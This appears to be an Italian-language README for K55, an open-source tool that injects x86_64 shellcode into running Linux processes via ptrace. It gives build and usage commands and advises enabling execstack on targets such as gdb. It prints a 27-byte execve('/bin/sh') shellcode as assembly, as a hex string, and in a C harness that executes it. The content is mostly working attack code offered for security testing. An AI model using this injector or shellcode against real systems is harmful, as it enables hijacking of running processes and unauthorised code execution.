
Utilità di iniezione di processo per Linux x86_64
(pronunciato: "kay fifty-five")
Lo strumento di iniezione di payload K55 è utilizzato per iniettare payload shellcode x86_64 in processi in esecuzione. L'utilità è stata sviluppata utilizzando tecniche moderne C++11 così come alcune funzioni tradizionali C di Linux come ptrace(). Lo shellcode generato nel processo target è di 27 byte ed esegue /bin/sh (avvia una shell bash) all'interno dello spazio degli indirizzi del target. In futuro, permetterò agli utenti di inserire il proprio shellcode tramite argomenti della riga di comando.
git clone https://github.com/josh0xA/K55.gitcd K55chmod +x build-install.sh./build-install.shUtilizzo: ./K55 <nome-processo>
r-xp o execstack. Test 1) In un terminale (directory K55/), esegui: ./k55_example_process/k55_test_process
Test 2) In un altro terminale, esegui l'iniettore: sudo ./K55 k55_test_process
Ovviamente, le chiamate ptrace(PTRACE_POKETEXT...) non sono le più nascoste. Quindi, alcune applicazioni possono limitare l'effetto di K55. Tuttavia, per i test di sicurezza, assicurati di attivare execstack per le tue applicazioni target. Ad esempio, se sto testando su gdb, prima di iniettare eseguirei quanto segue: sudo execstack -s /usr/bin/gdb. Installa execstack dal gestore pacchetti della tua distribuzione. Per gli utenti Arch Linux, puoi trovare execstack sull'AUR.
Nota: Quanto segue è una dimostrazione. La stringa del payload è già codificata in K55.
main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
#include <stdio.h>
#include <string.h>
// Shellcode breakdown of the assembly code.
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
http://shell-storm.org/shellcode/files/shellcode-806.php
https://0x00sec.org/t/linux-infecting-running-processes/1097
Licenza MIT
Copyright (c) Josh Schiavone